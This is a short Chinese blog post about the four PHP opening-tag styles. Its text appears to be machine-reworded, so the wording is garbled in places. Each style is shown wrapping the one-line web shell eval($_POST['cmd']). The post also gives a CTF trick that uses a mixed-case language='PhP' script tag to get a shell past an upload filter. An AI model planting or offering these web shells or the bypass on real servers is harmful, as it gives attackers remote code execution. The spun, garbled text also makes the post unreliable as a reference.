类别:PHP问题 / 日期:2019-12-02 / 浏览:109 / 评论:0

PHP的标识有哪些?

PHP四种标记作风

1.XML作风

<?php
eval($_POST['cmd']); 
 ?>

php引荐运用的标记作风。

服务器管理员没法禁用,一切服务器上都可运用该作风。

2.剧本作风

<script language="php">
    eval($_POST['cmd']);
</script>

默许开启,没法禁用

笔者曾遇到过一CTF问题,请求上传shell,然则却对文件内容做了过滤 ,<? 以及 php,替代为了空格。此种作风中,language的值,大小写都能够,因而能够组织以下代码举行绕过

<script language="PhP">
    eval($_POST['cmd']);
</script>

3.简短作风

<? 
    eval($_POST['cmd']);
?>

此种作风需要在配置文件php.ini中启用short_open_tage选项

此种作风在很多环境中默许是不支持的

4.ASP作风

<% 
    eval($_POST['cmd']);
%>

此种作风需要在配置文件php.ini中启用asp_tag选项

在默许情况下是禁用的

更多PHP相干学问,请接见ki4网!

以上就是PHP的标识有哪些的细致内容,更多请关注ki4网别的相干文章!

打赏

感谢您的赞助~

打开支付宝扫一扫,即可进行扫码打赏哦~

版权声明 : 本文未使用任何知识共享协议授权,您可以任何形式自由转载或使用。

 可能感兴趣的文章

评论区

发表评论 / 取消回复

必填

选填

选填

◎欢迎讨论,请在这里发表您的看法及观点。